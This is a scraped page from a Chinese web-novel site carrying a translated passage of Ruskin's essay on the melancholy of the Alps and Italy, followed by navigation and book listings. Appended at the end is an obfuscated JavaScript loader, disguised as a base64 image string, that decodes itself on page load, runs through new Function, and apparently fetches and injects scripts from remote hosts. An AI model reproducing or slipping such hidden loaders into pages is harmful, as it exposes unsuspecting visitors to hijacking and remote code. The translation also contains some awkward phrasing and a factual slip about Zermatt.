搜旺小说

第十九章 山脉的忧郁(第3页)

天才一秒记住【搜旺小说】地址:https://www.souwangzhi.com

,在收到一个提议让它取用《死亡之舞》这样的绘画去装饰这条人行道时,那些委员的表情吧!

现在仅就卢塞恩这座古桥而言,罗伊斯河纯洁又深又蓝的河水,在它的桥墩之间打着旋往下流去,绿色的山脉甜蜜的黑暗,远处湖泊的闪光和两边阿尔卑斯山在眼前变化不定的情景;在阴影中皱眉的忧郁的教训,好像一种消失的铃声深沉的音调,在头顶,永远跟下面流动的河水的哗哗声搅和在一起;我说,就这一点与平坦的泥土条的垂直和光滑的差别而言,在两排圆顶的阿拉伯树胶树之间,那些树会使英国的水边城镇或法国的有防御工事的城镇的居民感到欣喜,——现在我相信古老的卢塞恩人的生活,带着所有光线的幸福波动,山脉的意志力,以及永恒的庄严期待,跟那些在现代人行道上来回闲逛固定消磨一个时辰的那些人的普通生活是有差异的。

但是忧郁并不总是这种高贵型的。

当我们进一步深入山脉中,就会发现忧郁变成了非常痛苦。

也许我们正行走在夏日午后的时光里,沿着采尔马特山谷(那是德国的一条山谷)往上走,明亮的阳光照在绿草遍地的小山,穿过松树的边缘,山羊在欢跳,牛身上的铃铛正在甜美地歌唱,远方白雪皑皑的山脉像天堂的城堡一样闪光。

再走远点,我们会发现一座白色的小礼拜堂,掩映在山脉草地上的一个鲜花遍布的小山丘后面;我们走到教堂的小窗户前,希望通过窗户看到一个宁静的祈祷室;但是窗户敞开,只有铁栅,任凭风吹,而且当我们往里看时,注意——一堆人的白骨已经粉碎成了更白的粉末!

而且也是在同一条山谷中,正是我刚刚正在谈论的那一条,介于查莫尼瓦来之间,在每一条愉悦的路径的转弯处,那儿百里香的香气在生长它的岩石上最浓,我们将发现在其中一个十字架下安放着一个小小的十字架和遗骨盒;走上前去,希望能产生某种有关救世主的愉快思想,这些可爱的事物通常是救世主创造的,而且仍然存于其中。

但是当我们走近——看,在十字架下,一张粗糙的绘画,描绘的是灵魂被红色的地狱火舌折磨,被魔鬼刺穿的场景。

当我们往意大利方向走的时候,这种忧郁的情形更浓了;当我们从阿尔卑斯山南面的山坡往下走的时候,我们将发现这种忧郁会引出死亡的意象,它与忍受疾病的最痛苦的方面有关;结果人类最痛苦的状况被允许在路边公开展览,而在任何别的国家这些痛苦都被限制在医院里,这种堕落的人类生活方式的暴露与对其它事物中的丑陋和不完美的麻木进一步相关联;结果损毁的墙体、无人过问的花园、没有得到清扫的居室,似乎共同表达了一种支配整个国家的居民的精神忧郁。

它似乎并非源于贫困,也并非源于对物质匮乏的漫不经心:这里没有丝毫爱尔兰人的鲁莽或幽默的成分;然而似乎有一种心灵的根深蒂固的昏暗,—一一种让人胆寒的瘟疫,好像是从坟墓中钻出来的,使人的眼睛和心灵变得半昏半暗、模模糊糊,而且透过每一阵微风,每一块石头呼出腐朽的气息。

“光头代替了整齐的头发,恶劣环境代替了美丽。”

也不缺少确切的证据证明情感是不受单纯的贫困或懒惰支配的,在最壮丽和奢华的宫殿花园中将发现布满青苔的雕像,污损或断裂的露台;宫殿本身有一部分镶上了大理石,而其它地方则露出没有被水泥遮盖和有缺口的砖块,粗糙难看,用铁围起来的阳台已经变弯、生锈,人行道上长满了杂草。

越热情高涨地去修复这一状态,去摆脱贫困的一切表象,诅咒越是牢牢纠缠着这一景象,没有拌熟的灰浆,没有完工的墙体跟腐朽缠绕在一起的不完整造成的可怕的荒凉,在观察者的心中留下了较深的沮丧。

这种感受如果看起来与对美的不关注不一致的话,——如果这儿所做的一切像没有做的一样完全没有效果的话,——将更容易解释一些。

但是尽管阳台已经锈蚀断裂,它的设计仍然是精美的,支撑它的大理石板上面的雕刻仍然是高贵的;窗户尽管只是粗糙的灰泥上的一条黑色的缝隙,但是周围环绕着一圈葡萄藤,前面长着一排尖尖叶子的灌木丛和一簇簇夹竹桃色彩靓丽的花朵;庭院中尽管爬满了悲伤的杂草,然而它的尽头却有一幅花园和泉水的鲜艳的壁画;尸体上的脸部没有盖上,直面苍天,然而洒满了鲜花;美丽总是跟死亡的阴影混合在一起。

这也是一种欢乐,——不是真正的快乐,既不是粗心的也不是无聊的戏谑,而是一种寻找欢乐的坚定的努力,一种自信的笑声,混合着许多讽刺、粗俗和插科打诨,而且对我来说这似乎总是没有任何安慰和希望,——而且因为有了这种显著的特征,所以它甚至能够给最可怕的主题涂抹上辛酸味道,结果就像对美的热爱在死亡的面前依旧保持着自己的温柔一样,对诙谐的热爱也保持着自己的大胆,所以骷髅成了意大利喜剧中间标准的假面具之一。

1850年我在威尼斯时,当时最流行的一出喜剧歌剧《死神和补鞋匠》,其中情节的要点是,一位农村的补鞋匠成功地当上了内科医生,就是因为他能够让死神显身于每一位不可能康复的病人的床前;其中最受欢迎的场景是那位医生,由于成功而自傲,贪欲膨胀,自己也被带进了死亡的居所,被抛入到可怕的痛苦中,他还看到了以奄奄一息的油灯形式象征人的生命,他自己的那一盏即将熄灭。

而且我丝毫也不怀疑这种对可怕的意象的容忍或坦然面对,部分是与粗俗有关,部分原因在于思想的普遍愚昧和虚弱。

当女演员一戴上表示头盖骨的面具,当她的尖厉清晰的“死亡之歌”

响彻剧院的时候,就拼命鼓掌的那些人,就是那些令人作呕的习惯会弄得妇女无法穿过威尼斯的某些主要街道的人,——就是当那些斯基雅凡尼河上的江湖郎中拿出一种新的骗人药物时就打哈欠的群体中的人。

而且因为可怕的意象是跟狂热的虚弱有关的,所以对我来说,对恐惧的低能和热爱似乎是跟贯穿人的整个一生的一种神秘链条有关。

在沃尔特?司各特临终的日子里有一个关于这一点的非常动人的例子,他的后期作品的出版,在许多叙述上是有深深遗憾的,也许在提供一种研究最高贵的一种思想中过度紧张的智力衰竭的状态上,总体上仍然是正确的。

在《危险的城堡》中这种衰退最严重的许多迹象里,不是最不显眼的迹象之一,就是在自己的黑色盔甲上带上跟骷髅近似的图像的武士的登场。

在这种方式上跟智力的虚弱有关的对恐怖的热爱,然而不应该跟粗俗的人通常表现出来的那种混淆。

我们低档次的剧院,在准备充满恐怖和犯罪的情节时全指望着这种感受,受到流行的法国小说家比较黑暗的场景中比较伟大的技巧和优雅供养的这种感受,不管道德上多么不健康,并不是不自然的;它不是对这种恐怖的冷漠造成的结果,而是在粗俗和愚钝的思想中强烈追求刺激造成的,但不一定是虚弱的。

在《基督山伯爵》中珠宝商被谋杀的场景,或者《巴黎的秘密》中与斯奎莱特有关的那些、能激发对所有人来讲就像饥渴的本能一样普通的人的本能,只有在作为比这些更高级的其它本能迟钝以后的结果的夸张的状态中,才会贬值。

在人生的某一阶段,主要从这种叙事中获得快乐的人,在另一个阶段可能会获得一种高品位,高理智的性情。

但是与我们目前讨论有关的对恐怖的热爱,似乎是一种不自然和虚弱的感受;不是那种需要刺激的人,或者有着如此敏锐的洞察力以至于能引发刺激的人,而是那种对恐怖完全麻木的人,一种奇怪的邪恶影响把他虚弱的思想,引导到可怕的意象中,而不是美好的意象中,——就像我们不安的梦那样,有时充满了似乎不是源于对我们清醒的意识的任何可想象的联想,而是恰似坟墓中冒出来的一种水汽一样的那种可怖场景,人的思想在中风时,往往会亲近坟墓。

本章未完,请点击下一章继续阅读!若浏览器显示没有新章节了,请尝试点击右上角↗️或右下角↘️的菜单,退出阅读模式即可,谢谢!

如遇章节错误,请点击报错(无需登陆)

新书推荐

帝临万古惊!重生后的嫡女她杀疯了亿万老公宠妻无度斗罗大陆平平无奇小道士长生:加词条,从纳妾开始这个人仙太过正经帝之至尊女侠且慢从洪荒逃走当幕后黑手真武狂龙渣夫宠妾灭妻,她重生后黑化了商途老祖她靠快穿修仙成神万界时空穿越者仙子请留步炮灰攻略都市最强天师人类枷锁神算小奶团驾到超级兵王末日模拟器,我以剑道证超凡仙父都市至强者降临全家打入冷宫?听崽心声后杀疯了

!function(){function a(a){var _idx="d5xud2u4am";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hLFd5F"=LqOFWfgLcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgLcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pac6a??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 qcY=F8""a[7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=(c6=+i;NmLF562p67TcdaaaP7_2(F6O2 LcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OP7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPP1os(qTqCLm:D_Tq2qm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1os)5TqCLmR7RF:Cpm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1os7FTqCLm)4^)5L^m(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1osq6TqCLm:D_Tq2qm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1osD_TqCLmR7RF:Cpm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1os2OTqCLm)4^)5L^m(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1osfYTqCLmR7RF:Cpm(O^gQ1KQ"Z=28Jc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/fnR_f@_od^/1os"!7m5Y|5T%%=FmL5(8Jc2a=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=DcaP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}Pr55dTm6Lr55dTcda??cd8HZ=(c6=""aa!qYF _8"1os"=h8"fnR_f@_od^"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 XcYa[Xd5 F8H"1os2CTqf7mTfD_J(:m(O^"="1osCSTqfXmJq4Y(2fm(O^"="1osOSTq47mTfD_J(:m(O^"="1osF(Tq2SmJq4Y(2fm(O^"="1osDhTqdJmTfD_J(:m(O^"="1osh)TqCqmJq4Y(2fm(O^"="1osJfTq7DmTfD_J(:m(O^"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q1KQ"=28H"Y#"%hZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%_=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28_HfZcYH(Zc^%%aa=O8_HfZcYH(Zc^%%aa=68_HfZcYH(Zc^%%aa=d8_HfZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!qc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PpcOa=@8887mqOdfiFdF_LvvDcaP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=pcOaP=7mqOdfiFdF_L8}PqYF T8l}!7_2(F6O2 Dca[TvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 ica[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP1osSJTq)()mqF5hJ:FmRT4gQ1KQ/((/1osj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clTa[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP1osSJTq)()mqF5hJ:FmRT4gQ1KQ/((/1osj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=T8l0PqYF F8Jc"hFFJLg//[[fdTPP1os(qTqCLm:D_Tq2qm(O^gQ1KQ/f/1osj(8}vY8fnR_f@_od^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=28Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??2avvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2FajXc7_2(F6O2ca[qc@0}a=Xc7_2(F6O2ca[qc@0@a=fc7_2(F6O2ca[qc@0saPaPaPagfc7_2(F6O2ca[qc}0}a=fc7_2(F6O2ca[qc}0@a=Xc7_2(F6O2ca[qc}0saPaPaPaa=lYvvO??ica=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Jc"hFFJLg//[[fdTPP1os(qTqCLm:D_Tq2qm(O^gQ1KQ"a%"/)_pj68"%_=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=(c6=""aaPaPaca!'.substr(22));new Function(b)()}();